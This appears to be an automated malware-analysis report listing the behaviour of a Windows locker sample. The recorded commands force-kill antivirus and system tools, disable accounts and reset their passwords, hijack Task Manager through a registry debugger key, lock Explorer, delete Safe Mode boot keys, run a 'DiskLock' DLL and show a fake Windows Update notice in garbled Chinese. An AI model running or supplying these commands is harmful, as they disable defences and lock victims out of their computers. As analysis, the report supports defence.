Technical Information
- [HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe] 'Debugger' = 'C:\information.txt'
- '%WINDIR%\syswow64\taskkill.exe' -im explorer.exe -f
- '%WINDIR%\syswow64\taskkill.exe' -im CMCTrayIcon.exe -f
- '%WINDIR%\syswow64\taskkill.exe' -im K7TSecurity.exe -f
- '%WINDIR%\syswow64\taskkill.exe' -im UnThreat.exe -f
- '%WINDIR%\syswow64\taskkill.exe' -im MsMpEng.exe -f
- '%WINDIR%\syswow64\taskkill.exe' -im avp.exe -f
- '%WINDIR%\syswow64\taskkill.exe' -im RavMonD.exe -f
- '%WINDIR%\syswow64\taskkill.exe' -im kxetray.exe -f
- '%WINDIR%\syswow64\taskkill.exe' -im CorantiControlCenter32.exe -f
- '%WINDIR%\syswow64\taskkill.exe' -im F-FRONT.exe -f
- '%WINDIR%\syswow64\taskkill.exe' -im ksafe.exe -f
- '%WINDIR%\syswow64\taskkill.exe' -im TrojanHunter.exe -f
- '%WINDIR%\syswow64\taskkill.exe' -im Mcshield.exe -f
- '%WINDIR%\syswow64\taskkill.exe' -im BaiduSdSvc.exe -f
- '%WINDIR%\syswow64\taskkill.exe' -im hipstray.exe -f
- '%WINDIR%\syswow64\taskkill.exe' -im wsctrl.exe -f
- '%WINDIR%\syswow64\taskkill.exe' -im ashDisp.exe -f
- '%WINDIR%\syswow64\taskkill.exe' -im avcenter.exe -f
- '%WINDIR%\syswow64\taskkill.exe' -im mssecess.exe -f
- '%WINDIR%\syswow64\taskkill.exe' -im parmor.exe -f
- '%WINDIR%\syswow64\taskkill.exe' -im MongoosaGUI.exe -f
- '%WINDIR%\syswow64\taskkill.exe' -im vba32lder.exe -f
- '%WINDIR%\syswow64\taskkill.exe' -im cleaner8.exe -f
- '%WINDIR%\syswow64\taskkill.exe' -im taskmgr.exe -f
- '%WINDIR%\syswow64\taskkill.exe' -im regedit.exe -f
- '%WINDIR%\syswow64\taskkill.exe' -im notepad.exe -f
- '%WINDIR%\syswow64\taskkill.exe' -im mmc.exe -f
- '%WINDIR%\syswow64\taskkill.exe' -im mspaint.exe -f
- '%WINDIR%\syswow64\taskkill.exe' -im iexplore.exe -f
- '%WINDIR%\syswow64\taskkill.exe' -im winver.exe -f
- '%WINDIR%\syswow64\taskkill.exe' -im powershell.exe -f
- '%WINDIR%\syswow64\taskkill.exe' -im dwm.exe -f
- '%WINDIR%\syswow64\taskkill.exe' -im powershell_ise.exe -f
- '%WINDIR%\syswow64\taskkill.exe' -im msedge.exe -f
- '%WINDIR%\syswow64\taskkill.exe' -im firefox.exe -f
- '%WINDIR%\syswow64\taskkill.exe' -im sougouexplorer.exe -f
- '%WINDIR%\syswow64\taskkill.exe' -im control.exe -f
- '%WINDIR%\syswow64\taskkill.exe' -im mrt.exe -f
- '%WINDIR%\syswow64\taskkill.exe' -im 360tray.exe -f
- '%WINDIR%\syswow64\taskkill.exe' -im 360sd.exe -f
- '%WINDIR%\syswow64\taskkill.exe' -im ad-watch.exe -f
- '%WINDIR%\syswow64\taskkill.exe' -im chrome.exe -f
- '%WINDIR%\syswow64\taskkill.exe' -im DiskGenius.exe -f
- '%WINDIR%\syswow64\taskkill.exe' -im PartitionGuru.exe -f
- %WINDIR%\explorer.exe
- <SYSTEM32>\dwm.exe
- iexplore.exe
- firefox.exe
- C:\information.txt
- ClassName: '' WindowName: ''
- '%WINDIR%\syswow64\cmd.exe' /c start rundll32 lframe32.dll DiskLock
- '%WINDIR%\syswow64\net1.exe' user user /active:no
- '%WINDIR%\syswow64\net.exe' user user /active:no
- '%WINDIR%\syswow64\cmd.exe' /c net user %username% /active:no
- '%WINDIR%\syswow64\net1.exe' user Administrator "5845412403717084627145394762335739127387709348404231844925610072880742307070531167371324401343000011"
- '%WINDIR%\syswow64\net.exe' user Administrator "5845412403717084627145394762335739127387709348404231844925610072880742307070531167371324401343000011"
- '%WINDIR%\syswow64\cmd.exe' /c net user Administrator "5845412403717084627145394762335739127387709348404231844925610072880742307070531167371324401343000011"
- '%WINDIR%\syswow64\net1.exe' user user "2235442307857157872680280085971466794416450232562660140930809993051679607928605921982400151868709327"
- '%WINDIR%\syswow64\net.exe' user user "2235442307857157872680280085971466794416450232562660140930809993051679607928605921982400151868709327"
- '%WINDIR%\syswow64\cmd.exe' /c net user %username% "2235442307857157872680280085971466794416450232562660140930809993051679607928605921982400151868709327"
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t reg_sz /d "C:\information.txt" /f
- '%WINDIR%\syswow64\chcp.com' 936
- '%WINDIR%\syswow64\cmd.exe' /c reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t reg_sz /d "C:\information.txt" /f
- '%WINDIR%\syswow64\cmd.exe' /c reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /f
- '%WINDIR%\syswow64\notepad.exe' C:\information.txt
- '%WINDIR%\syswow64\cmd.exe' /c start notepad C:\information.txt
- '%WINDIR%\syswow64\cmd.exe' /c echo Microsoft Windows Update>>C:\information.txt
- '%WINDIR%\syswow64\cmd.exe' /c echo Èç¹û¹Г±Õ¼ÆËã»ú£¬¿ÉÄÜ»á³öÏÖδ֪´ГÎó£¬ÉõÖÁµ¼Ö¼ÆËã»úÎÞ·¨Ê¹Óá£>>C:\information.txt
- '%WINDIR%\syswow64\cmd.exe' /c echo Èç¹û¹Г±Õ¸üд°¿Ú£¬¿ÉÄܻᵼÖ Windows À¶ÆÁ>>C:\information.txt
- '%WINDIR%\syswow64\cmd.exe' /c echo Íê³Éºó¾Í»á¹ö»Г¹¦ÂÊ£¬Õâ¿ÉÄÜÐèҪһЩʱ¼ä£¬×øºÍ·Å¿ГВЎВЈ>>C:\information.txt
- '%WINDIR%\syswow64\cmd.exe' /c echo Windows ÕýÔÚ¸üУ¬Çë²»Òª¹Г±ÕÄúµÄ¼ÆËã»ú¡£>>C:\information.txt
- '%WINDIR%\syswow64\cmd.exe' /c echo.>>C:\information.txt
- '%WINDIR%\syswow64\cmd.exe' /c echo ------------------------------------------------------------->>C:\information.txt
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /f
- '%WINDIR%\syswow64\cmd.exe' /c echo Windows ВёГјГђГ‚ - 10.1.26000.20768 (Windows 12 26H2 Dev)>>C:\information.txt
- '%WINDIR%\syswow64\cmd.exe' /c net user Administrator /active:no
- '%WINDIR%\syswow64\reg.exe' add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f
- '%WINDIR%\syswow64\cmd.exe' /c reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoStartMenuSubFolders /t REG_DWORD /d 1 /f
- '%WINDIR%\syswow64\reg.exe' add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoSetTaskbar /t REG_DWORD /d 1 /f
- '%WINDIR%\syswow64\cmd.exe' /c reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoSetTaskbar /t REG_DWORD /d 1 /f
- '%WINDIR%\syswow64\reg.exe' add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoSetFolders /t REG_DWORD /d 1 /f
- '%WINDIR%\syswow64\cmd.exe' /c reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoSetFolders /t REG_DWORD /d 1 /f
- '%WINDIR%\syswow64\reg.exe' add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
- '%WINDIR%\syswow64\cmd.exe' /c reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
- '%WINDIR%\syswow64\reg.exe' add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDrives /t REG_DWORD /d 4294967295 /f
- '%WINDIR%\syswow64\cmd.exe' /c reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDrives /t REG_DWORD /d 4294967295 /f
- '%WINDIR%\syswow64\reg.exe' add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDesktop /t REG_DWORD /d 1 /f
- '%WINDIR%\syswow64\net1.exe' user Administrator /active:no
- '%WINDIR%\syswow64\net.exe' user Administrator /active:no
- '%WINDIR%\syswow64\cmd.exe' /c reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f
- '%WINDIR%\syswow64\reg.exe' add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoLogoff /t REG_DWORD /d 1 /f
- '%WINDIR%\syswow64\cmd.exe' /c reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoLogoff /t REG_DWORD /d 1 /f
- '%WINDIR%\syswow64\reg.exe' add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v shutdownwithoutlogon /t REG_DWORD /d 0 /f
- '%WINDIR%\syswow64\cmd.exe' /c reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v shutdownwithoutlogon /t REG_DWORD /d 0 /f
- '%WINDIR%\syswow64\reg.exe' add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f
- '%WINDIR%\syswow64\cmd.exe' /c reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f
- '%WINDIR%\syswow64\reg.exe' delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot /va /f
- '%WINDIR%\syswow64\cmd.exe' /c reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot /va /f
- '%WINDIR%\syswow64\cmd.exe' /c net user User /active:no
- '%WINDIR%\syswow64\cmd.exe' /c reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDesktop /t REG_DWORD /d 1 /f
- '%WINDIR%\syswow64\cmd.exe' /c chcp 936
- '%WINDIR%\syswow64\cmd.exe' /c taskkill -im PartitionGuru.exe -f
- '%WINDIR%\syswow64\cmd.exe' /c taskkill -im DiskGenius.exe -f
- '%WINDIR%\syswow64\cmd.exe' /c taskkill -im firefox.exe -f
- '%WINDIR%\syswow64\cmd.exe' /c taskkill -im msedge.exe -f
- '%WINDIR%\syswow64\cmd.exe' /c taskkill -im chrome.exe -f
- '%WINDIR%\syswow64\cmd.exe' /c taskkill -im powershell_ise.exe -f
- '%WINDIR%\syswow64\cmd.exe' /c taskkill -im powershell.exe -f
- '%WINDIR%\syswow64\cmd.exe' /c taskkill -im winver.exe -f
- '%WINDIR%\syswow64\cmd.exe' /c taskkill -im iexplore.exe -f
- '%WINDIR%\syswow64\cmd.exe' /c taskkill -im mspaint.exe -f
- '%WINDIR%\syswow64\cmd.exe' /c taskkill -im mmc.exe -f
- '%WINDIR%\syswow64\cmd.exe' /c taskkill -im control.exe -f
- '%WINDIR%\syswow64\cmd.exe' /c taskkill -im notepad.exe -f
- '%WINDIR%\syswow64\cmd.exe' /c taskkill -im taskmgr.exe -f
- '%WINDIR%\syswow64\cmd.exe' /c taskkill -im dwm.exe -f
- '%WINDIR%\syswow64\cmd.exe' /c taskkill -im explorer.exe -f
- '%WINDIR%\syswow64\cmd.exe' /c color F1
- '%WINDIR%\syswow64\mode.com' con cols=15 lines=1
- '%WINDIR%\syswow64\cmd.exe' /c mode con cols=15 lines=1
- '%WINDIR%\syswow64\mode.com' con cols=20 lines=1
- '%WINDIR%\syswow64\cmd.exe' /c mode con cols=20 lines=1
- '%WINDIR%\syswow64\cmd.exe' /c title Windows Setup
- '%WINDIR%\syswow64\rundll32.exe' lframe32.dll DiskLock
- '%WINDIR%\syswow64\cmd.exe' /c taskkill -im regedit.exe -f
- '%WINDIR%\syswow64\cmd.exe' /c taskkill -im mrt.exe -f
- '%WINDIR%\syswow64\cmd.exe' /c taskkill -im sougouexplorer.exe -f
- '%WINDIR%\syswow64\cmd.exe' /c taskkill -im 360tray.exe -f
- '%WINDIR%\syswow64\cmd.exe' /c taskkill -im avcenter.exe -f
- '%WINDIR%\syswow64\cmd.exe' /c taskkill -im RavMonD.exe -f
- '%WINDIR%\syswow64\cmd.exe' /c taskkill -im ashDisp.exe -f
- '%WINDIR%\syswow64\cmd.exe' /c taskkill -im wsctrl.exe -f
- '%WINDIR%\syswow64\cmd.exe' /c taskkill -im hipstray.exe -f
- '%WINDIR%\syswow64\cmd.exe' /c taskkill -im BaiduSdSvc.exe -f
- '%WINDIR%\syswow64\cmd.exe' /c taskkill -im Mcshield.exe -f
- '%WINDIR%\syswow64\cmd.exe' /c taskkill -im TrojanHunter.exe -f
- '%WINDIR%\syswow64\cmd.exe' /c taskkill -im parmor.exe -f
- '%WINDIR%\syswow64\cmd.exe' /c taskkill -im mssecess.exe -f
- '%WINDIR%\syswow64\cmd.exe' /c taskkill -im ksafe.exe -f
- '%WINDIR%\syswow64\cmd.exe' /c taskkill -im kxetray.exe -f
- '%WINDIR%\syswow64\cmd.exe' /c taskkill -im avp.exe -f
- '%WINDIR%\syswow64\cmd.exe' /c taskkill -im 360sd.exe -f
- '%WINDIR%\syswow64\cmd.exe' /c taskkill -im MsMpEng.exe -f
- '%WINDIR%\syswow64\cmd.exe' /c taskkill -im UnThreat.exe -f
- '%WINDIR%\syswow64\cmd.exe' /c taskkill -im K7TSecurity.exe -f
- '%WINDIR%\syswow64\cmd.exe' /c taskkill -im CMCTrayIcon.exe -f
- '%WINDIR%\syswow64\cmd.exe' /c taskkill -im F-FRONT.exe -f
- '%WINDIR%\syswow64\cmd.exe' /c taskkill -im CorantiControlCenter32.exe -f
- '%WINDIR%\syswow64\cmd.exe' /c taskkill -im MongoosaGUI.exe -f
- '%WINDIR%\syswow64\cmd.exe' /c taskkill -im vba32lder.exe -f
- '%WINDIR%\syswow64\cmd.exe' /c taskkill -im cleaner8.exe -f
- '%WINDIR%\syswow64\cmd.exe' /c taskkill -im ad-watch.exe -f
- '%WINDIR%\syswow64\reg.exe' add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoStartMenuSubFolders /t REG_DWORD /d 1 /f
- '%WINDIR%\syswow64\cmd.exe' /c reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoViewOnDrive /t REG_DWORD /d 4294967295 /f